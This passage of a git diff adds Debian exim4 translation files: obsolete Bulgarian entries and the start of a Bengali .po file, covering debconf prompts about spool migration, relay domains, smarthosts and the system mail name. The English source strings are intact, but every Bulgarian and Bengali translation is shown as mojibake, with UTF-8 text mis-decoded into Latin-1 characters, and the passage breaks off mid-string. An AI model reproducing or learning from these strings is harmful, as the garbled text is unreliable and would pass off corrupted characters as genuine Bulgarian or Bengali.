+#~ "Ð’ опашката на exim 3 (или exim-tls 3) - /var/spool/exim/input/ - има вÑе "
+#~ "още неизпратена поща."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Ðко потвърдите, тази поща ще бъде премеÑтена в опашката на exim4 (/var/"
+#~ "spool/exim4/input/), където ще бъде обработена от exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Тази процедура работи Ñамо в едната поÑока. Exim4 може да работи Ñ "
+#~ "опашката на exim 3, но обратното не е възможно. Ðко откажете "
+#~ "автоматичното премеÑтване, пиÑмата нÑма да бъдат доÑтавени оÑвен ако не "
+#~ "ги премеÑтите ръчно."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Ðко оÑтавите това поле празно, Exim нÑма да доÑÑ‚Ð°Ð²Ñ Ð¿Ð¾Ñ‰Ð° локално."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Забележете, че това работи Ñамо в една поÑока: exim4 може да обработи "
+#~ "spool на exim(v3), но обратната поÑока е невъзможна."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "ПремеÑтете пощата Ñамо ако не планирате да Ñе връщате към exim(v3), иначе "
+#~ "пощата не Ñ‚Ñ€Ñбва да Ñе премеÑтва Ñега, а ръчно, Ñлед като преобразувате "
+#~ "Вашите наÑтройки."
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Ðко има още, въведете ги тук, разделени Ñ Ð´Ð²ÑƒÐµÑ‚Ð¾Ñ‡Ð¸Ðµ. Можете да оÑтавите "
+#~ "това поле празно, ако нÑма повече."
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "МолÑ, въведете тук домейните, пощата за които иÑкате да препредавате "
+#~ "(relay)."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Такива домейни Ñа тези, за които вие Ñте подготвени да приемате поща от "
+#~ "Интернет. Ðе Ñпоменавайте локалните домейни тук."
+
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Домейните, които въвеждате тук, Ñ‚Ñ€Ñбва да Ñа разделени Ñ Ð´Ð²ÑƒÐµÑ‚Ð¾Ñ‡Ð¸Ðµ. "
+#~ "Звездички и въпроÑителни Ñъщо могат да бъдат използвани."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Тъй като Ñте активирали Ñкриването на локалното пощенÑко име в изходÑщата "
+#~ "поща, Ñ‚Ñ€Ñбва да зададете име на домейн, което да бъде използвано за "
+#~ "пощата от локалните потребители. Обикновено това е машината, на коÑто "
+#~ "нормално получавате Вашата поща."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Къде Вашите потребители ще четат Ñ‚Ñхната поща?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Машина, коÑто обработва изходÑщата поща на тази ÑиÑтема (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Въведете име на хоÑÑ‚ на машината, на коÑто ще Ñе изпраща изходÑщата поща."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Ðктивирайте тази възможноÑÑ‚, ако използвате Dial-on-Demand; иначете Ñ "
+#~ "изключете."
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Изберете тип на наÑтройката, който най-добре отразÑва Вашите нужди."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Ðко не Ñте Ñигурен, не разделÑйте наÑтройките."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "ръчно преобразуване от ръчната наÑтройката на Exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Ръчно наÑтройване на Exim4?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Задали Ñте, че имате ръчна наÑтройка на Exim 3. За да Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·ÑƒÐ²Ð°Ñ‚Ðµ за "
+#~ "Exim 4, можете да използвате инÑтрумента exim_convert4r4(8) Ñлед "
+#~ "инÑталациÑта. Обърнете Ñе към usr/share/doc/exim4-base/examples/example."
+#~ "conf.gz и /usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Докато Вашата пощенÑка ÑиÑтема не Ñе наÑтрои, Ñ‚Ñ Ñ‰Ðµ бъде развалена и нÑма "
+#~ "да може да Ñе използва."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Вашето \"пощенÑко име\" е чаÑтта за името на хоÑта от адреÑа, който ще "
+#~ "бъде показван в излизащите от ÑиÑтемата новини или пощенÑки ÑÑŠÐ¾Ð±Ñ‰ÐµÐ½Ð¸Ñ "
+#~ "(Ñлед потребителÑкото име и знака @), оÑвен ако не Ñе Ñкрие чрез "
+#~ "пренапиÑване (rewriting)."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "МолÑ, въведете мрежите на локалните машини, пощата на които приемате да "
+#~ "препредавате (relay)."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Това Ñ‚Ñ€Ñбва да включва вÑички машини, които ще ни използват за smarthost."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "ТрÑбва да удвоÑвате двуеточиÑта на IPv6 адреÑите (например "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Въведете разделен Ñ Ð´Ð²ÑƒÐµÑ‚Ð¾Ñ‡Ð¸Ðµ ÑпиÑък от IP адреÑи, на които да Ñе Ñлуша. "
+#~ "ТрÑбва да удвоÑвате двуеточиÑта на IPv6 адреÑите (например "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "ÐаÑтройка на Exim v4 (exim4-config)"
diff --git a/debian/po/bn.po b/debian/po/bn.po
new file mode 100644
index 0000000..85421d4
--- /dev/null
+++ b/debian/po/bn.po
@@ -0,0 +1,614 @@
+# Bengali translation of exim4.
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+# Md. Rezwan Shahid <rezwan@ankur.org.bd>, 2009.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2009-04-15 16:10+0600\n"
+"Last-Translator: Md. Rezwan Shahid <rezwan@ankur.org.bd>\n"
+"Language-Team: Bengali <ankur-bd-l10n@googlegroups.com>\n"
+"Language: bn\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+"X-Generator: WordForge 0.5-beta1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "সà§à¦ªà§à¦² ডিরেকà§à¦Ÿà¦°à¦¿à¦° অপà§à¦°à§‡à¦°à¦¿à¦¤ বারà§à¦¤à¦¾ মà§à¦›à§‡ ফেলা হবে?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"à¦à¦•à§à¦¸à¦¿à¦® সà§à¦ªà§à¦² ডিরেকà§à¦Ÿà¦°à¦¿ /var/spool/exim4/input/ তে অপà§à¦°à§‡à¦°à¦¿à¦¤ ই-মেইল বারà§à¦¤à¦¾ আছে। "
+"à¦à¦•à§à¦¸à¦¿à¦® মà§à¦›à§‡ দিলে à¦à¦—à§à¦²à§‹ অপà§à¦°à§‡à¦°à¦¿à¦¤à¦‡ রয়ে যাবে, যতকà§à¦·à¦¨ পরà§à¦¯à¦¨à§à¦¤ à¦à¦•à§à¦¸à¦¿à¦® পà§à¦¨à¦°à¦¾à§Ÿ ইনà§à¦¸à¦Ÿà¦² না করা "
+"হয়।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"যদি à¦à¦‡ পছনà§à¦¦à¦Ÿà¦¿ নিরà§à¦¬à¦¾à¦šà¦¨ করা হয়, সà§à¦ªà§à¦² ডিরেকà§à¦Ÿà¦°à¦¿ রেখে দেয়া হবে, à¦à¦¤à§‡ বারà§à¦¤à¦¾à¦—à§à¦²à§‹ রয়ে "
+"যাবে যেন à¦à¦—à§à¦²à§‹ পরবরà§à¦¤à§€à¦¬à¦¾à¦° à¦à¦•à§à¦¸à¦¿à¦® ইনà§à¦¸à¦Ÿà¦² করা হলে পà§à¦°à§‡à¦°à¦¨ করার জনà§à¦¯ সংরকà§à¦·à¦¨ করা যায়।"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "à¦à¦‡ পà§à¦¯à¦¾à¦•à§‡à¦œà§‡à¦° পরিবরà§à¦¤à§‡ exim4-কনফিগ পà§à¦¨à¦°à¦¾à§Ÿ কনফিগার করা হবে"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 à¦à¦° কনফিগারেশন à¦à¦•à¦Ÿà¦¿ নিরà§à¦¦à¦¿à¦·à§à¦Ÿ পà§à¦¯à¦¾à¦•à§‡à¦œà§‡ (exim4-config) ফà§à¦¯à¦¾à¦•à§à¦Ÿà¦° করা থাকে। "
+"Exim4 পà§à¦¨à¦°à¦¾à§Ÿ কনফিগার করার জনà§à¦¯ 'dpkg-reconfigure exim4-config' বà§à¦¯à¦¬à¦¹à¦¾à¦° করà§à¦¨à¥¤"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿ সাইট; SMTP বà§à¦¯à¦¬à¦¹à¦¾à¦° করে মেইল সরাসরি পà§à¦°à§‡à¦°à¦¨ à¦à¦¬à¦‚ গà§à¦°à¦¹à¦¨ করা হয়"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"smarthost দà§à¦¬à¦¾à¦°à¦¾ মেইল পà§à¦°à§‡à¦°à¦¨ করা হয়েছে; SMTP বা fetchmail দà§à¦¬à¦¾à¦°à¦¾ গà§à¦°à¦¹à¦¨ করা হয়েছে"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "smarthost দà§à¦¬à¦¾à¦°à¦¾ মেইল পà§à¦°à§‡à¦°à¦¨ করা হয়েছে; কোনো সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইল নেই"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "শà§à¦§à§à¦®à¦¾à¦¤à§à¦° সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডেলিভারী; নেটওয়ারà§à¦•à§‡ নয়"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "à¦à¦‡ মূহà§à¦°à§à¦¤à§‡ কোনো কনফিগারেশন নেই"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "মেইল কনফিগারেশনের সাধারন ধরন:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে সেই মেইল সারà§à¦­à¦¾à¦° কনফিগারেশনের ধরন নিরà§à¦¬à¦¾à¦šà¦¨ করà§à¦¨ যেটি আপনার চাহিদার "
+"সবচেয়ে বেশি পূরন করে।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ডায়নামিক আইপি ঠিকানাসহ সিসà§à¦Ÿà§‡à¦®à¦—à§à¦²à§‹, ডায়াল-আপ সিসà§à¦Ÿà§‡à¦®à¦¸à¦¹, সাধারনত à¦à¦®à¦¨à¦­à¦¾à¦¬à§‡ কনফিগার "
+"করা উচিত যেন à¦à¦Ÿà¦¿ ডেলিভারীর জনà§à¦¯ বহি:গামী মেইলগà§à¦²à§‹à¦•à§‡ 'smarthost' নামক অনà§à¦¯ à¦à¦•à¦Ÿà¦¿ "
+"মেশিনে পà§à¦°à§‡à¦°à¦¨ করে কারন ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿà§‡ অনেক গà§à¦°à¦¹à¦¨à¦•à¦¾à¦°à§€ সিসà§à¦Ÿà§‡à¦® ডায়নামিক আইপি ঠিকানা "
+"থেকে আসা মেইলকে সà§à¦ªà§à¦¯à¦¾à¦® হিসেবে বà§à¦²à¦• করে দেয়।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"ডায়নামিক আইপি ঠিকানাসহ à¦à¦•à¦Ÿà¦¿ সিসà§à¦Ÿà§‡à¦® à¦à¦° নিজের মেইল গà§à¦°à¦¹à¦¨ করতে পারে, বা সà§à¦¥à¦¾à¦¨à§€à§Ÿ "
+"ডেলিভারী সমà§à¦ªà§‚রà§à¦£à¦­à¦¾à¦¬à§‡ নিষà§à¦•à§à¦°à¦¿à§Ÿ করা যেতে পারে (রà§à¦Ÿ à¦à¦¬à¦‚ পোসà§à¦Ÿà¦®à¦¾à¦¸à§à¦Ÿà¦¾à¦°à§‡à¦° মেইল বà§à¦¯à¦¤à§€à¦¤)।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "মেইল সিসà§à¦Ÿà§‡à¦® কনফিগার না করে রেখে দেয়া হবে?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"সিসà§à¦Ÿà§‡à¦® কনফিগার না করা পরà§à¦¯à¦¨à§à¦¤ à¦à¦Ÿà¦¿ বà§à¦¯à¦¬à¦¹à¦¾à¦° করা যাবে না। পরে à¦à¦• সময়ে রà§à¦Ÿ হিসেবে "
+"মà§à¦¯à¦¾à¦¨à§à§Ÿà¦¾à¦²à§€ বা 'dpkg-reconfigure exim4-config' রান করে কনফিগার করা যেতে পারে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "সিসà§à¦Ÿà§‡à¦® মেইল নাম:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'মেইল নাম' হল ডোমেইন নাম যা ডোমেইন নাম ছাড়া মেইল ঠিকানাকে 'যোগà§à¦¯' করতে বà§à¦¯à¦¬à¦¹à§ƒà¦¤ "
+"হয়।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"à¦à¦‡ নামটি অনà§à¦¯ পà§à¦°à§‹à¦—à§à¦°à¦¾à¦® দà§à¦¬à¦¾à¦°à¦¾à¦“ বà§à¦¯à¦¬à¦¹à§ƒà¦¤ হবে। à¦à¦Ÿà¦¿ à¦à¦•à¦•, সমà§à¦ªà§‚রà§à¦£ যোগà§à¦¯ ডোমেইল নাম (FQDN) "
+"হতে হবে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"à¦à¦­à¦¾à¦¬à§‡, যদি সà§à¦¥à¦¾à¦¨à§€à§Ÿ হোসà§à¦Ÿà§‡ à¦à¦•à¦Ÿà¦¿ মেইল ঠিকানা হয় foo@example.org, তাহলে à¦à¦‡ অপসনের "
+"সঠিক মান হবে example.org।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"à¦à¦‡ নামটি বহি:গামী বারà§à¦¤à¦¾à¦° পà§à¦°à§‡à¦°à¦•: লাইনে দেখানো হবে না যদি পà§à¦¨:লিখন সকà§à¦°à¦¿à§Ÿ থাকে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "অনà§à¦¯à¦¾à¦¨à§à¦¯ গনà§à¦¤à¦¬à§à¦¯ যেই মেইলের জনà§à¦¯ গà§à¦°à¦¹à¦¨ করা হবে:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে গà§à¦°à¦¹à¦¨à¦•à¦¾à¦°à§€ ডোমেইনের à¦à¦•à¦Ÿà¦¿ সেমিকোলন-দà§à¦¬à¦¾à¦°à¦¾-পৃথককৃত তালিকা দিন যেটির জনà§à¦¯ "
+"à¦à¦‡ মেশিন নিজেকে সরà§à¦¬à¦¶à§‡à¦· গনà§à¦¤à¦¬à§à¦¯ বলে বিবেচনা করবে। à¦à¦‡ ডোমেইনগà§à¦²à§‹à¦•à§‡ সাধারনভাবে "
+"'সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন' বলা হয়। সà§à¦¥à¦¾à¦¨à§€à§Ÿ হোসà§à¦Ÿà¦¨à¦¾à¦® (${fqdn}) à¦à¦¬à¦‚ 'localhost' সরà§à¦¬à¦¦à¦¾ à¦à¦‡ "
+"তালিকায় যোগ করা হয়।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"ডিফলà§à¦Ÿà¦­à¦¾à¦¬à§‡ সকল সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন à¦à¦•à¦‡à¦­à¦¾à¦¬à§‡ বিবেচনা করা হয়। যদি a.example à¦à¦¬à¦‚ b."
+"example উভয়ই সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন হয়, acc@a.example à¦à¦¬à¦‚ acc@b.example কে à¦à¦•à¦‡ সরà§à¦¬à¦¶à§‡à¦· "
+"গনà§à¦¤à¦¬à§à¦¯à§‡ পাঠানো হবে। যদি ভিনà§à¦¨ ডোমেইন নামকে আলাদাভাবে বিবেচনা করা হয়, তাহলে "
+"কনফিগ ফাইলগà§à¦²à§‹ সমà§à¦ªà¦¾à¦¦à¦¨à¦¾ করা জরà§à¦°à¦¿à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "যেই ডোমেইনের জনà§à¦¯ মেইল রিলে করতে হবে:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে গà§à¦°à¦¹à¦¨à¦•à¦¾à¦°à§€ ডোমেইনের à¦à¦•à¦Ÿà¦¿ সেমিকোলন-দà§à¦¬à¦¾à¦°à¦¾-পৃথককৃত তালিকা দিন যেটির জনà§à¦¯ "
+"à¦à¦‡ মেশিন মেইল রিলে করবে, উদাহরনসà§à¦¬à¦°à§à¦ª à¦à¦•à¦Ÿà¦¿ ফলবà§à¦¯à¦¾à¦• MX বা মেইল গেটওয়ে হিসেবে। à¦à¦° "
+"মানে হল à¦à¦‡ সিসà§à¦Ÿà§‡à¦® ইনà§à¦Ÿà¦¾à¦°à¦¨à§‡à¦Ÿà§‡à¦° যেকোনো সà§à¦¥à¦¾à¦¨ থেকে à¦à¦¸à¦•à¦² ডোমেইনের জনà§à¦¯ মেইল গà§à¦°à¦¹à¦¨ "
+"করবে à¦à¦¬à¦‚ তাদেরকে সà§à¦¥à¦¾à¦¨à§€à§Ÿ নিয়ম অনà§à¦¯à¦¾à§Ÿà§€ ডেলিভার করবে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "à¦à¦–ানো সà§à¦¥à¦¾à¦¨à§€à§Ÿ ডোমেইন উলà§à¦²à§‡à¦– করা হবে না। ওয়াইলà§à¦¡à¦•à¦¾à¦°à§à¦¡ বà§à¦¯à¦¬à¦¹à¦¾à¦° করা যেতে পারে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "যেসকল মেশিনের জনà§à¦¯ মেইল রিলে করা হবে:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে আইপি ঠিকানা à¦à¦•à¦Ÿà¦¿ সেমিকোলন-দà§à¦¬à¦¾à¦°à¦¾-পৃথককৃত তালিকা দিন যেটির জনà§à¦¯ à¦à¦‡ "
+"মেশিন শরà§à¦¤à¦¹à§€à¦¨à¦­à¦¾à¦¬à§‡ মেইং রিলে করবে, à¦à¦•à¦Ÿà¦¿ smarthost à¦à¦° মত কাজ করবে।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"আপনাকে আদরà§à¦¶ ঠিকানা/পà§à¦°à¦¿à¦«à¦¿à¦•à§à¦¸ ফরমà§à¦¯à¦¾à¦Ÿ বà§à¦¯à¦¬à¦¹à¦¾à¦° করতে হবে (উদাহরনসà§à¦¬à¦°à§à¦ª "
+"194.222.242.0/24 বা 5f03:1200:836f::/48)।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"যদি à¦à¦‡ সিসà§à¦Ÿà§‡à¦®à¦Ÿà¦¿ অনà§à¦¯ কোন হোসà§à¦Ÿà§‡à¦° জনà§à¦¯ smarthost না হয়, তাহলে à¦à¦‡ তালিকাটি খালি "
+"রাখà§à¦¨à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "সà§à¦¥à¦¾à¦¨à§€à§Ÿ বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦¦à§‡à¦° জনà§à¦¯ দৃশà§à¦¯à¦®à¦¾à¦¨ ডোমেইন:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"বহি:গামী মেইলে সà§à¦¥à¦¾à¦¨à§€à§Ÿ মেইল লà§à¦•à¦¾à¦¨à§‹à¦° অপশন সকà§à¦°à¦¿à§Ÿ করা হয়েছে। ফলে à¦à¦‡ সিসà§à¦Ÿà§‡à¦® "
+"সà§à¦¥à¦¾à¦¨à§€à§Ÿ বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° পà§à¦°à§‡à¦°à¦• ঠিকানার ডোমেইন অংশে যে ডোমেইন বà§à¦¯à¦¬à¦¹à¦¾à¦° করা হবে তার "
+"নাম নাম উলà§à¦²à§‡à¦– করা জরà§à¦°à¦¿à¥¤"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "বহি:গামী smarthost à¦à¦° আইপি ঠিকানা বা হোসà§à¦Ÿ নাম:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"অনà§à¦—à§à¦°à¦¹ করে à¦à¦‡ সিসà§à¦Ÿà§‡à¦® বহি:গামী smarthost হিসেবে যেই মেইল সারà§à¦­à¦¾à¦° বà§à¦¯à¦¬à¦¹à¦¾à¦° করবে "
+"সেটির আইপি ঠিকানা বা হোসà§à¦Ÿ নাম দিন। যদি smarthost আপনার মেইল শà§à¦§à§à¦®à¦¾à¦¤à§à¦° TCP/25 "
+"ছাড়া অনà§à¦¯ যেকোনো পোরà§à¦Ÿà§‡ গà§à¦°à¦¹à¦¨ করে, তাহলে দà§à¦Ÿà¦¿ সেমিকোলন দিন à¦à¦¬à¦‚ পোরà§à¦Ÿ নমà§à¦¬à¦° দিন "
+"(উদাহরনসà§à¦¬à¦°à§à¦ª, smarthost.example::587 বা 192.168.254.254::2525)। IPv6 ঠ"
